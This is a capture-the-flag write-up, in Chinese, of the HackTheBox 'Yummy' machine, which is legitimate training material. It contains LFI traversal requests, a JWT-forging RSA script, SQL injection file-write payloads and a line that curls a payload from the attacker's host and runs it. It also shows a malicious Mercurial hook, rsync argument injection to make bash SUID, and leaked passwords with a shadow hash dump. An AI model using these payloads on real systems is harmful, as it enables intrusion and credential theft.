HackTheBox - Machine - Yummy

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Yummy

image

https://www.hackthebox.com/achievement/machine/463126/628

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sudo nmap -sS -sC -sV -oA save -vv -p- --min-rate 1000 10.129.4.95
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNb9gG2HwsjMe4EUwFdFE9H8NguzJkfCboW4CveSS+cr2846RitFyzx3a9t4X7S3xE3OgLnmgj8PtKCcOnVh8nQ=
| 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZKWYurAF2kFS4bHCSCBvsQ+55/NxhAtZGCykcOx9b6
80/tcp open http syn-ack ttl 63 Caddy httpd
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://yummy.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web

打開ip,得到一個域名,

image

看起來是某家餐廳,因爲看到有域名,所以掃一下子域名,掃完了結果什麽都沒有,那就應該是從這個網頁入手了。

看到有登陸,隨便注冊一個賬號

image

登陸後什麽也沒有,不過看到了一個預約的按鈕:

image

大概應該是預約某個點數上門吃飯。

右上角有一個按鈕,

image

隨便填了一下,得到類似於日曆表的東西:

image

點擊下載后就成功的下載了一個ics文件:

image

Internal Server Error ??

但是很神奇的是,當我第二次打開這個鏈接 http://yummy.htb/export/Yummy_reservation_20241008_220227.ics

就會出現 Internal Server Error

image

這就讓我很好奇,剛才是怎麽下載文件的,於是直接用burp看看:

image

然後在跳轉的時候請求這個文件:

image

就這樣玩了一段時間,得出結論:

  • 先發送 GET /reminder/21
  • 再發送 GET /export/Yummy_reservation_20241008_220424.ics

這樣才可以下載文件。

經驗之談:如果是靜態文件應該不會出現 Internal Server Error​,頂多出現 404 not found 之類的,所以就懷疑這裏是用函數實現的,

也就是說這裏存在 LFI 的幾率很高,於是嘗試一下:

image

結果還真有,過濾了一下 sh 之後,下面是這個系統的正常用戶:

1
2
3
root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:dev:/home/dev:/bin/bash
qa:x:1001:1001::/home/qa:/bin/bash

Play with LFI

既然有了LFI,那就來請求敏感文件,首先翻了下 candy 的配置文件,

image

1
2
3
4
5
6
7
8
9
:80 {
@ip {
header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$
}
redir @ip http://yummy.htb{uri}
reverse_proxy 127.0.0.1:3000 {
header_down -Server
}
}

沒有什麽有價值的東西,翻了下 /proc​ 也是沒有什麽有價值的東西,既然是這樣那就只能找一下系統的服務文件了,所以:

GET /export/../../../../../../etc/crontab

image

得到:

1
2
3
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

這裏面有三個脚本。

GET /export/../../../../../../data/scripts/table_cleanup.sh

1
2
3
#!/bin/sh

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

這裏有個賬號密碼,嘗試爆破了下,沒有一個用戶是使用這個密碼。

GET /export/../../../../../../data/scripts/dbmonitor.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

一眼看下去就知道這個脚本有問題,因爲很少使用 /bin/bash xxx​的。

GET /export/../../../../../../data/scripts/app_backup.sh

1
2
3
4
5
#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

這裏好像有一個源碼,嘗試使用burp下載下來:

GET /export/../../../../../../var/www/backupapp.zip

image

保存成文件之後,可以直接用vim去除上面的垃圾:

image

然後解壓,

1
$ unzip save.zip

得到一堆代碼。

image

Source Code Review

看了一下這個 app.py​, 其中最有意思的是 /admindashboard​ 這個 api, 一眼看下去就知道有著很明顯的sqli味道:

image

然後jwt的算法也很明晰,就是普通的加密算法題:

image

Play with Crypto CTF

這是一個很常見的算法題,如果我知道p和q,我就得到 private key。我就可以使用這個private key 去簽名我的 jwt。

既然如此,還需要知道n,那麽n會在哪裏出現呢?

看了下源碼:

image

n 會在 cookie 中出現,所以可以從瀏覽器中獲取到這個 cookie:

image

放到 jwt.io 解密一下,就得到了n和e:

image

1
2
3
4
5
6
7
8
9
10
11
{
"email": "mane@manesec.com",
"role": "customer_474d62e7",
"iat": 1728424799,
"exp": 1728428399,
"jwk": {
"kty": "RSA",
"n": "127192584520034413059025251906090319627422524056110838959267302581707272654174755908620133552869875712580912883119234176814676468687485989961835093367871341391615021646791230105730625317426750281751258571374604641709310654552351919399438780863425119020397772048490181223343278949233830653480527145450815052544725497",
"e": 65537
}
}

e 一般是固定的,不過可以拷打一下GPT,讓他給我一個脚本:

image

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import sympy
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.primitives import serialization
from datetime import datetime, timedelta, timezone

# 已知的 n 和 e
n = 127192584520034413059025251906090319627422524056110838959267302581707272654174755908620133552869875712580912883119234176814676468687485989961835093367871341391615021646791230105730625317426750281751258571374604641709310654552351919399438780863425119020397772048490181223343278949233830653480527145450815052544725497
e = 65537

# 1. 分解 n
# 这里使用 sympy 的 factorint 方法来分解 n
factors = sympy.factorint(n)
p = max(factors.keys())
q = n // p

# 2. 计算 φ(n)
phi_n = (p - 1) * (q - 1)

# 3. 计算 d
d = pow(e, -1, phi_n)

# 4. 生成 RSA 私钥
key = RSA.construct((n, e, d, p, q))
private_key_bytes = key.export_key()

# 5. 生成新的 JWT
payload = {
'email': 'mane@manesec.com',
'role': 'customer_474d62e7',
'iat': int(datetime.now(timezone.utc).timestamp()),
'exp': int((datetime.now(timezone.utc) + timedelta(seconds=3600)).timestamp()),
'jwk': {'kty': 'RSA', 'n': str(n), 'e': e}
}

# 使用私钥生成 JWT
access_token = jwt.encode(payload, private_key_bytes, algorithm='RS256')

print("生成的 JWT:", access_token)

在源碼中告訴你,儅 role 是 administrator​ 的時候,才有機會去 /admindashboard​:

image

所以上面的脚本需要改成administrator​,之後生成一下,得到一個cookie:

image

修改一下,并且填寫回去 cookie 中,就成功的進入了 /admindashboard​ 這個頁面:

image

MySQL injection

image

從上面的源代碼也可以看到有一個地方是有mysql injection:

1
2
3
4
5
6
7
8
9
10
11
12
13
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()

search_query = request.args.get('s', '')

# added option to order the reservations
order_query = request.args.get('o', '')

sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
cursor.execute(sql, ('%' + search_query + '%',))
connection.commit()

翻譯成人話就是:

1
SELECT * FROM appointments WHERE appointment_email LIKE %{$s}% order by appointment_date $o

其中你可以看到這裏的 $s​ 是從?s=xxxxxx​中獲得,因爲經過了execute,所以這裏並沒有注入,但是 $o​ 有。

於是隨手敲點垃圾,看一下:

image

結果出現了錯誤,因爲顯示了錯誤,所以就肯定是 error-based 類型的注入,所以嘗試 dump 數據庫:

1
ASC,ExtractValue('',Concat('%3d',(SELECT+group_concat(schema_name)+FROM+information_schema.schemata)))+--+-

image

結果成功的顯示了數據,不過很可惜,經過一番操作后,數據庫裏面並沒有找到有用的數據,這裏就省略了扒數據的過程。

所以來看一下這個用戶的權限:

1
GET /admindashboard?s=1&o=ASC,ExtractValue('',Concat('%3d',SUBSTRING((select+group_concat(concat_ws("%3a",grantee,+privilege_type,+is_grantable)+SEPARATOR+"|"+)+FROM+information_schema.user_privileges+)+,+1,+50)+))+--+-

image

奇怪,這個用戶好像有 file​ 權限,默認不應該會有這個權限,也就是可以寫入一些文件?

注意:在 SQL 中,is_grantable​ 是 information_schema.user_privileges​ 表中的一個欄位,用於指示某個用戶是否可以將特定的權限授予其他用戶。具體來說:

  • YES:表示該用戶可以將該權限授予其他用戶。
  • NO:表示該用戶不能將該權限授予其他用戶。

而不是這個用戶有沒有權限的意思。

問題來了,如何寫入文件呢?

這是一般寫入文件的語法:

1
select "mane" into outfile '/tmp/mane.txt'

對應原本的payload則是:

1
SELECT * FROM appointments WHERE appointment_email LIKE %{$s}% order by appointment_date %o into outfile '/tmp/mane.txt'

所以 對於 ?o​ 的 payload 是:

1
ASC into outfile '/tmp/mane.txt'

可以看到,寫入的文件的内容是從數據庫裏面提取,如果可以控制往數據庫裏面寫一些payload,就可以控制文件寫入的内容。

剛好 Book a table​ 這個表單就是往數據庫裏面寫一些内容。

但問題是,真的可以寫入文件嗎?爲了驗證可行性,隨手使用payload試一下:

1
GET /admindashboard?s=1&o=ASC+into+outfile+'/etc/mane' HTTP/1.1

image

還真可以,也就是說可以用sqli寫入一些文件。

Write some data in to file?

在上面的crontab中有一行 * * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

這意味著 mysql 是有權限寫入 /data/scripts/dbmonitor.sh​ , 不過很可惜,mysql injection 不允許你覆蓋文件,不過允許你創建文件,觀察這個源碼:

image

這兩行很明顯就是在一個文件夾裏面獲取版本最高的文件,如果後面的數字越大,就會優先執行,比如:

儅出現 /data/scripts/fixer-v900​ 和 /data/scripts/fixer-v901​ ,則先執行 /data/scripts/fixer-v901​。

也就是說如果可以往這個文件寫一些文件,就可以用它來執行一個shell。

不過,這裏還有另一個條件:

image

也就是說我需要寫入 /data/scripts/dbstatus.json​ ,裏面的内容不重要,只要不包括 database is down​就可以了,這個條件很容易滿足,

好在可以使用 select xxx into outfile '/tmp/mane.txt'​ 去寫一堆垃圾進去。

既然上面説過,如果可以控制往數據庫裏面寫一些payload,就可以控制文件寫入的内容,所以就嘗試寫一個rce:

image

因爲有其他的内容,可以很巧妙的運用 ?s=xxx​ 來過濾掉其他垃圾信息,只要想要的信息即可:

image

這裏有一個小技巧,因爲 select xxx into outfile​ 允許你切換分隔符,語法如下:

  • FIELDS TERMINATED BY '\n'​ 指定字段之间的分隔符。
  • LINES TERMINATED BY '\n'​ 指定每行的结束符为换行符。

也就是說儅數據庫select 一堆東西的回來的時候,本質上是一個表格,格與格之間如何區分全靠你給的SQL語法,所以:

1
select xxxx into outfile '/data/scripts/fixer-v900' FIELDS TERMINATED BY '\n'  LINES TERMINATED BY '\n'

這樣子文件看起來類似是這樣的:

1
2
3
4
5
21
mane@manesec.com
...............
curl http://10.10.16.31/mane -o /tmp/mane ; chmod 777 /tmp/mane ; /tmp/mane
...............

所以第一個 payload 應該就是這樣:

1
GET /admindashboard?s=mane&o=ASC+into+outfile+'/data/scripts/fixer-v901'+FIELDS+TERMINATED+BY+'\n'++LINES+TERMINATED+BY+'\n' HTTP/1.1

別忘了,要創建 /data/scripts/dbstatus.json​,内容不重要,這裏我就隨便改個名字:

1
GET /admindashboard?s=mane&o=ASC+into+outfile+'/data/scripts/dbstatus.json'+FIELDS+TERMINATED+BY+'\n'++LINES+TERMINATED+BY+'\n' HTTP/1.1

然後等待了一段時間之後,得到了rce:

image

Shell as mysql to www-data

image

還記得上面有一個 crontab嗎?他是以 www-data 運行的:

1
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh

看了一下這個目錄的權限,驚奇的發現 rwx​:

image

沒權限修改而已,又不是說不可以刪除,我刪除掉然後然後寫入一個新的,這個文件的權限就是我的:

1
2
mysql@yummy:/data/scripts$ rm -rf app_backup.sh 
mysql@yummy:/data/scripts$ echo '/tmp/mane' > app_backup.sh

image

然後得到了 www-data​:

image

Shell as www-data to user

www-data 一般可以讀取 /var/www/​ 文件夾了,所以去看看有沒有可能放了數據庫密碼:

image

驚奇的發現 .hg​,這個非常類似於 git, 所以看一下提交日志:

image

看看patch的歷史記錄:

image

翻到了一個賬號密碼:

1
2
-    'user': 'qa',
- 'password': 'jPAd!XQCtn8Oc@2B',

因爲這個用戶的名字和系統的用戶一樣,所以嘗試登陸一下:

image

得到 user.txt​。

Shell as qa and exploit hg hook to command execution

看一下 sudo -l​ ,看起來需要到達 dev​ 這個用戶:

image

查了一下,發現可以使用 hook​ 來得到 命令執行:https://book.mercurial-scm.org/read/hook.html

image

這裏又拷打了一下 GPT:

image

總結就是新建一個文件夾,裏面 .hg/hgrc​ 要放上惡意的 hook,這樣就允許你直接執行命令,如下:

1
2
3
4
5
6
7
8
$ cd /tmp
$ mkdir /tmp/manetest
$ cd /tmp/manetest
$ mkdir .hg
$ echo -e '[hooks]\npost-pull = /bin/bash' > .hg/hgrc
$ chmod 777 -R /tmp/manetest
$ cd manetest
$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/

然後得到 dev​ 這個用戶:

image

Shell as dev

同樣的,看一下 sudo -l​ :

image

rsync​,不過這裏的 *​ 非常危險:

1
2
3
4
5
# 限制是:
/usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

# 因爲 * 可以匹配任何字符,包括空格,所以可以在* 的位置注入參數,比如修改權限
/usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../../root/root.txt --chmod=777 /opt/app/

所以嘗試複製一個 root.txt​ 出來看看:

1
$ sudo /usr/bin/rsync -a --exclude\=.hg  /home/dev/app-production/../../../../root/root.txt --chmod=777  /opt/app/

image

結果還真可行,既然可以修改權限,那麽就可以加個 suid​:

1
$ sudo /usr/bin/rsync -a --exclude\=.hg  /home/dev/app-production/../../../../bin/bash --chmod=4777  /opt/app/

image

然後得到 root 。

Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root:$y$j9T$VFiopFqX2qPhPh4xaO0Gd/$t9kjP.3F4.0JsG5ZYe.e2vSY1A/71UzvQANY4SToQ98:19871:0:99999:7:::
daemon:*:19836:0:99999:7:::
bin:*:19836:0:99999:7:::
sys:*:19836:0:99999:7:::
sync:*:19836:0:99999:7:::
games:*:19836:0:99999:7:::
man:*:19836:0:99999:7:::
lp:*:19836:0:99999:7:::
mail:*:19836:0:99999:7:::
news:*:19836:0:99999:7:::
uucp:*:19836:0:99999:7:::
proxy:*:19836:0:99999:7:::
www-data:$y$j9T$S21blsbdDkEltq9K0dVWh.$xJ9DB6rlVtaqyy1Wr7ZNEQNyDpYqc9J.azcfx8u2f52:19871:0:99999:7:::
backup:*:19836:0:99999:7:::
list:*:19836:0:99999:7:::
irc:*:19836:0:99999:7:::
_apt:*:19836:0:99999:7:::
nobody:*:19836:0:99999:7:::
systemd-network:!*:19836::::::
systemd-timesync:!*:19836::::::
dhcpcd:!:19836::::::
messagebus:!:19836::::::
systemd-resolve:!*:19836::::::
pollinate:!:19836::::::
polkitd:!*:19836::::::
syslog:!:19836::::::
uuidd:!:19836::::::
tcpdump:!:19836::::::
tss:!:19836::::::
landscape:!:19836::::::
fwupd-refresh:!*:19836::::::
usbmux:!:19858::::::
sshd:!:19858::::::
dev:$y$j9T$1/WsUm7je9IFkzgVjqRjX0$kqpuG3yR.ax0.hzHJp5NL0G4943t/fcVU7LnDKitfv1:19871:0:99999:7:::
mysql:$y$j9T$G9DPvQTVigsYa1P8PJZXw.$b88UbsM554ljSq.SVHU6BEbL/9QCVJ1a78WZSxt4uk2:19871::::::
caddy:!:19860::::::
postfix:!:19866::::::
qa:$y$j9T$75Hb7WaRlgpORQQSzqUNS/$ZkK/Yb1QrMTAgHsd4qViPxTRDd4v6BaA2nrSyp0YAI3:19871:0:99999:7:::
_laurel:!:19996::::::

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!

發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)

Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)